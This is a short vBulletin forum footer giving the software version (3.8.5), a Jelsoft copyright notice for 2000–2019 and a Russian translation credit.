Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot